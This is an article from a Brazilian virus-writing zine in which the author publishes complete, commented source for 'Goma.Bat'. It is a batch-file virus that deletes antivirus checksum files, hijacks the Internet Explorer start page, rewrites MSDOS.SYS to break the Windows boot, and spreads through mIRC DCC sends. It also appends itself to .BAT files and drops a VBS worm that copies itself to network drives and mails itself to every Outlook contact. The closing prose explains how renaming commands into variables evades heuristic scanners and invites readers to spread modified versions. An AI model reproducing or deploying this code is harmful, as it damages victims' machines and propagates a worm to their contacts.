 
                                /  __           ___          
                          | /  |  |__)  |   |  (__           
                          |/   |  |  \  |___|  ___)          
									     
 
									     
   
     6 - Goma.Bat versao animal por nim_bus@hotmail.com
   



               Originais em arquivo .TXT sem acentuacao 

        Estava esses dias procurando algum anti-virus interessante e me
   deparei com o BAT CHECKER do Duke/SMF (russo), fiquei espantado como
   o av funciona, a heuristica dele e' fenomenal, sem duvida um dos ma-
   is eficazes anti-virus que ja' vi, embora seja so' para BAT virus.

        Resolvi tentar fazer um virus que ele nao detectasse, doce ilu-
   sao, ele pega o ultimo goma.bat e tambem pegou o abaixo, mas eu pas-
   sei o AVP, e o F-prot nao deu nada, so' se deu erro por causa de me-
   moria...

        O virus abaixo e' de autoria 100% minha (nim_bus@hotmail.com) e
   esta  ai para  ser modificado  livremente, sem meu conhecimento, so'
   peco para que se voce o modificar e der um spread no novo bicho,  me
   manda ele por e-mail,e' que os AV's ja' detectam mais de 50 virus da
   familia Goma e eu devo ter feito no maximo uns 20 !

        As ideias que me baseei para fazer  esse virus sao novas , o es-
   quema de um bat mandar um VBS pelo OUTLOOK creio ser algo novo, a pa-
   rada do worm para mirc eu copiei de algum  lugar, acho que do zine do
   Spy, e' isso ai, foi mesmo do zine do Spy, a "rotina" do  Viva DOS e'
   algo que sempre tive vontade de fazer e nao sei o porque de ainda nao
   a ter feito.

        As partes que utilizam scripts para debug, sao partes auxiliares
   para lancar o Goma.vbs no sistema,visto que o sinal de diferente  nao
   e' algo muito facil de fazer sair em um arquivo via "batch" files, se
   souber de algum melhor que o utilizado aqui, de um toque ...

        A rotina  de verificacao de data e' algo que sempre tentei fazer
   em arquivos .BAT e seila' so' agora me deu uma luz de como o fazer,(a
   maneira ensinada no tutorial de BADCOM's do Massive  num  dos numeros
   de virus brasil nao funcionou, desculpem...) um jeito bem simples mas
   que eu nao havia pensado nem visto antes,ficou 10, embora so' funcio-
   ne com data no  formato brasileiro ( dd/mm/aa ou  dd/mm/aaaaa ), fora
   isso esta 100%.

        O vbs foi gerado com o gerador de worms do SennaSpy, to sem tem-
   po, nao reclame. A ideia de jogar os VBSs no iniciar foi minha e ate'
   o user se ligar ja' foi !!!  Uma pausa para falar do gerador de worms
   do SennaSpy, o programa  facil de ser utilizado por qualquer usuario
   mesmo sem a menor experiencia. A maioria dos anti-virus ja' detecta o
   viajante gerado como SSIWG (o nome do gerador), o Goma.vbs sofreu al-
   gumas modificacoes e ainda nao e' detectado.

        O virus de inicio ja' apaga os arquivos de verificacao de alguns
   AV's (se alguem tiver uma lista me mande em nim_bus@hotmail.com).

        Para nao perder a viagem, o virus modifica uma chave no registro
   do windows para que a pagina inicial do internet explorer vire a nos-
   sa pagin a "http://www.virusbrasil.8m.com" e  isso, a cada  vez que o
   virus rodar, nao adianta mudar, estaremos sempre la' ...

        Na sequencia ja' lanca o VivaDOS, que modifica o MSDOS.SYS e faz
   com que o computador inicie em DOS Babased so' dor de cabeca pro usu-
   ario  ter que digitar win, se voce for mal, renomei o windows ou crie
   um winstart.bat de arrasar !! o VivaDOS funciona   a cada execucao do
   virus por preguica de utilizar um find a cada nova execucao e ver se
   o arquivo msdos.sys esta do jeito que queremos, mas ta valendo...
                                                       
        Como proximo passo verifica a data do sistema e  caso  22/10  de
   qualquer ano, um abrao !!!, brincadeira, so' uma mensagem via MS-DOS
   e uma no windows da data ate' o user apagar o arquivo VBS de mensagem
   do menu iniciar.

        A proxima rotina e' a de fazer o virus um viajante via  mIRC , a
   rotina verifica se o mIRC esta instalado e se esta em c:\mirc, se nao
   estiver um abraco, nao funciona, se tiver crie um script.ini em  cima
   do outro, copie o goma.bat para windows\system e so' alegria !!!

        As  partes  de auxilio sao para mandar o Goma.VBS pra disco, sem
   que ocorram erros, sem muitos comentarios...

        A parte de Envio e' a responsavel por  descarregar o Goma.VBS no
   sistema, tambem sem muitos comentarios, pois nao estou afim de comen-
   tar um Internet.Worm e ainda mais gerado  num criador  de  virus, vai
   ler seu vagabundo, tudo de graca e' dificil de conseguir ...

        O  virus propriamente dito esta na parte procurar e infectar, ou
   para ser mais exato so' em infectar , o procurar e' pra ver se ja' e'
   um arquivo infectado ... O virus so' procura em diretorio  atual, sem
   ..\, ou %path% para evitar um bug que ocorreu durante os testes e que
   nao tive saco de consertar ( estou precisando de um dicionario urgen-
   temente ...), perde-se com isso muito o poder de disseminacao, mas e'
   um sacrificio aceitavel.

        De maneira alguma eu acho que o virus estara entre os top 10 por
   ai, pois e' um arquivo .BAT, o que ja' dificulta imensamente sua pro-
   pagacao, tambem nao ser esse o meu objetivo.

        Sempre gostei de fazer menus em arquivos bat para entrar nos me-
   us joguinhos, oh saudosismo malvado !!! Falando em joguinho, se tiver
   tempo, saco e gostar de matar a saudade, eu tenho um "STREET ROD" que
   eu traduzi pro portugues na minha pagina em algum lugar por la' visi-
   tem em http://virusbrasil.8m.com  . Como gosto de linguagem interpre-
   tada e para deixar o mito vivo, sempre que tenho  uma ideia  e  algum
   tempinho que seja eu coloco a mao na massa e tento  sempre fazer algo
   para dar umas risadas, receber uns emails e tudo mais !!!

        Agora chega de papo furado e pega o fonte ai embaixo, divirta-se
   do jeito que quiser, apenas tenha responsabilidade ...


 
      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
									     
 

REM *********************** Goma.Bat.Versao.Animal **************************
REM        Nome do virus: Goma
REM        Autor : nim_bus@hotmail.com
REM        Home Page : http://virusbrasil.8m.com
REM        Tipo : Runtime Appending, BAT infector .
REM        Tamanho : + ou -  7500 bytes
REM        Av's : none
REM        Retro : apagar arquivos de verificacao
REM        Ativacao : mensagem (DOS,Windows) !
REM        Special features : Viva DOS, mIRC worm spread e VBS.Goma send 
REM                           VirusBrasil pagina inicial Internet Explorer    
REM        Bug's : deve ter entao favor entrar em contato caso voce detecte
REM                algum ...
REM *************************************************************************
@ECHO OFF%[GOMA.BAT]%
:inicio
CTTY NUL
set apagar=deltree
set copiar=copy
set para=fOr
set mascara=BaT
set aux=de
set ili=bu
set o=g
%apagar% /Y SMARTCHK.CPS > nul
%apagar% /Y ANTI-VIR.DAT > nul
%apagar% /Y AVP.CRC      > nul
%apagar% /Y IVB.NTZ      > nul
%apagar% /Y CHKLIST.MS   > nul

:ver_data
ECHO.Goma.Bat arquivo temporrio > goma2000.tmp
DIR goma2000.tmp >> goma2000.tmp
FIND "22/10" goma2000.tmp /i >NUL
IF errorlevel 1 GOTO tdg_cont

:ie
ECHO.Dim Alterar_Reg>doido.txt
ECHO.Set Alterar_Reg = CreateObject( "WScript.Shell" )>> doido.txt
ECHO.Alterar_Reg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\" & "Start Page", "http://www.virusbrasil.8m.com">> doido.txt
wscript doido.vbs

:viva_dos
%apagar% /y c:\msdos.sys  >nul
echo.[Paths] > c:\msdos.sys
echo.WinDir=C:\WINDOWS >> c:\msdos.sys
echo.WinBootDir=C:\WINDOWS >> c:\msdos.sys
echo.HostWinBootDrv=C >> c:\msdos.sys
echo. >> c:\msdos.sys
echo.[Options] >> c:\msdos.sys
echo.BootMulti=1 >> c:\msdos.sys
echo.BootGUI=0 >> c:\msdos.sys
echo.Logo=0 >> c:\msdos.sys
echo.; xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Aqui e' o meu espaco para azucrinar a sua vida, quero mandar um abraco pra todo mundo da turma da goma e tambem pra toda a galera da faculdade um abraco pra todo mundo mesmoxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx >> c:\msdos.sys
echo.;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx >> c:\msdos.sys
echo.;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx >> c:\msdos.sys
ATTRIB +S +H +R  c:\MSDOS.SYS

:ativacao
CTTY CON
ECHO For i = 1 to 10 > msg.vbs
ECHO MsgBox "Valeu Regis, Valeu Guino !!!", 48, "Goma" >> msg.vbs
ECHO Next >> msg.vbs
MOVE msg.vbs c:\windows\menuin~1\progra~1\iniciar >NUL
ERASE msg.vbs >NUL
ECHO. "Um abrao pra toda galera brazuca" - Vecna
ECHO.                           em especial ao Regis e ao Guino !!!!
ECHO.
ECHO. [TDG'2000] - Vrus Brasil - Novos rumos para seus pensamentos - nim_bus
PAUSE >NUL

:tdg_cont
ERASE goma2000.tmp
CTTY NUL

:mIRC
IF not exist c:\mirc\script.ini GOTO aux_env0
COPY /y %0.bat c:\windows\system\goma.bat
ECHO n0=; Goma.Batch virus por nim_bus@hotmail.com > c:\mirc\script.ini
ECHO n1=ON 1:JOIN:#:{ /if ( $nick != $me ) { /dcc send $nick c:\windows\system\goma.bat } >> c:\mirc\script.ini
ECHO n2=ON 1:PART:#:{ /if ( $nick != $me ) { /dcc send $nick c:\windows\system\goma.bat } >> c:\mirc\script.ini

:aux_env0
echo.N AUX_0.TMP > aux0.scr
echo.E 0100 4F 6E 20 45 72 72 6F 72 20 52 65 73 75 6D 65 20 >> aux0.scr
echo.E 0110 4E 65 78 74 0D 0A  >> aux0.scr
echo.RCX >> aux0.scr
echo.0016 >> aux0.scr
echo.W >> aux0.scr
echo.Q >> aux0.scr
%aux%%ili%%o% < aux0.scr
erase aux0.scr
:aux_env1
echo.N AUX_1.TMP > aux1.scr
echo.E 0100 49 66 20 45 6E 76 69 61 72 2E 43 6F 75 6E 74 20  >> aux1.scr
echo.E 0110 3C 3E 20 30 20 54 68 65 6E 0D 0A >> aux1.scr
echo.RCX >> aux1.scr
echo.001B >> aux1.scr
echo.W >> aux1.scr
echo.Q >> aux1.scr
%aux%%ili%%o% < aux1.scr
erase aux1.scr
:aux_env2
echo.N AUX_2.TMP > aux2.scr
echo.E 0100 20 20 20 20 20 20 20 20 49 66 20 49 6E 53 74 72 >> aux2.scr
echo.E 0110 28 20 45 6E 76 69 61 72 2E 49 74 65 6D 28 20 43 >> aux2.scr
echo.E 0120 6F 6E 74 61 64 6F 72 29 2C 20 22 5C 22 20 29 20 >> aux2.scr
echo.E 0130 3C 3E 20 30 20 54 68 65 6E 0D 0A >> aux2.scr
echo.RCX >> aux2.scr
echo.003B >> aux2.scr
echo.W >> aux2.scr
echo.Q >> aux2.scr
%aux%%ili%%o% < aux2.scr
erase aux2.scr

:envia
TYPE aux_0.tmp >> mail.vbs
ECHO Dim Copiar_arquivo, Alterar_Reg, Criar_OBJ, Contador, Enviar, Abrir_Outlook, Em_mapi, Lista_end, Entradas, Auxiliar >> mail.vbs
ECHO Contador = 0 >> mail.vbs
ECHO Set Copiar_arquivo = CreateObject( "Scripting.FileSystemObject" ) >> mail.vbs
ECHO Copiar_arquivo.CopyFile WScript.ScriptFullName, Copiar_arquivo.BuildPath( Copiar_arquivo.GetSpecialFolder(1), "Goma.vbs" ) >> mail.vbs
ECHO Set Alterar_Reg = CreateObject( "WScript.Shell" ) >> mail.vbs
ECHO Alterar_Reg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "GOMA", Copiar_arquivo.BuildPath( Copiar_arquivo.GetSpecialFolder(1), "GOMA.vbs" ) >> mail.vbs
ECHO Set Criar_OBJ = CreateObject( "WScript.Network" ) >> mail.vbs
ECHO Set Enviar = Criar_OBJ.EnumNetworkDrives >> mail.vbs
TYPE aux_1.tmp >> mail.vbs
ECHO    For Contador = 0 To Enviar.Count - 1 >> mail.vbs
TYPE aux_2.tmp >> mail.vbs
ECHO           Copiar_arquivo.CopyFile WScript.ScriptFullName, Copiar_arquivo.BuildPath( Enviar.Item( Contador), "GOMA.vbs" )  >> mail.vbs
ECHO        End If >> mail.vbs
ECHO    Next >> mail.vbs
ECHO End If >> mail.vbs
ECHO Contador = Alterar_Reg.RegRead( "HKEY_LOCAL_MACHINE\" & "GOMA" ) >> mail.vbs
ECHO Set Abrir_Outlook = CreateObject( "Outlook.Application" ) >> mail.vbs
ECHO    Set Em_mapi = Abrir_Outlook.GetNameSpace( "MAPI" )  >> mail.vbs
ECHO    For Each Lista_end In Em_mapi.AddressLists >> mail.vbs
ECHO        Set Enviar = Abrir_Outlook.CreateItem( 0 ) >> mail.vbs
ECHO        For Entradas = 1 To Lista_end.AddressEntries.Count >> mail.vbs
ECHO            Set Auxiliar = Lista_end.AddressEntries( Entradas ) >> mail.vbs
ECHO            If Entradas = 1 Then >> mail.vbs
ECHO               Enviar.BCC = Auxiliar.Address >> mail.vbs
ECHO            Else >> mail.vbs
ECHO               Enviar.BCC = Enviar.BCC & "; " & Auxiliar.Address >> mail.vbs
ECHO            End If >> mail.vbs
ECHO        Next >> mail.vbs
ECHO        Enviar.Subject = "Goma" >> mail.vbs
ECHO        Enviar.Body = "Goma para sempre !!!!" >> mail.vbs
ECHO        Enviar.Attachmets.Add WScript.ScriptFullName >> mail.vbs
ECHO        Enviar.DeleteAfterSubmit = True >> mail.vbs
ECHO        Enviar.Send >> mail.vbs
ECHO    Next >> mail.vbs
ECHO Alterar_Reg.RegWrite "HKEY_LOCAL_MACHINE\" & "GOMA", Contador + 1 >> mail.vbs
MOVE mail.vbs c:\windows\menuin~1\progra~1\iniciar >NUL
ERASE mail.vbs >NUL

:procura
%para% %%f in (*.%mascara%) DO set var=%%f 
FIND /i "[GOMA.BAT]" <%var% >nul
IF not errorlevel 1 GOTO tdg_fim

:infecta
FOR %%f in (*.%mascara%) DO %copiar% %%f + %0.bat

:tdg_fim
ERASE aux_0.tmp
ERASE aux_1.tmp
ERASE aux_2.tmp
ERASE doido.vbs
set var=
set apagar=
set copiar=
set para=
set mascara=
set aux=
set ili=
set o=
CTTY CON
REM *********************** Goma.Bat.Verso.Animal **************************

       
        Caso encontre algum bug no virus acima entre em contato ,  entre
   em contato para duvidas, sugestoes, reclamacoes e tudo que tiver von-
   tade, pode demorar um pouco a resposta mas ela vira !!!

        Algumas modificacoes  no virus foram implementadas para dificul-
   tar uma busca heuristica e posso  dizer com  toda certeza que o virus
   esta 100% desconhecido, com as modificacoes nem o BatChecker pegou...

        Se liga nas modificacoes que permitiram a passagem tranquila na
   heuristica do Duke :

        - Introducao de variaveis para execucao de comandos ao inves dos
   comandos  propriamente  ditos, exemplo o  Deltree que foi substituido
   pela  variavel apagar  em se livra da heuristica igualmente a mascara
   dos arquivos BAT entre outros...

        Afinal o objetivo e'  que a informacao chegue ao maior numero de
   pessoas  posssiveis e  que chegue nao distorcida, sem erros, para que
   nao so' voce possa aprender, mas que voce um dia venha tambem a ensi-
   nar.

                                   E' isso, sem mais,
                                                     nim_bus@hotmail.com

     
                       Copyright  2001, Vrus Brasil 
 
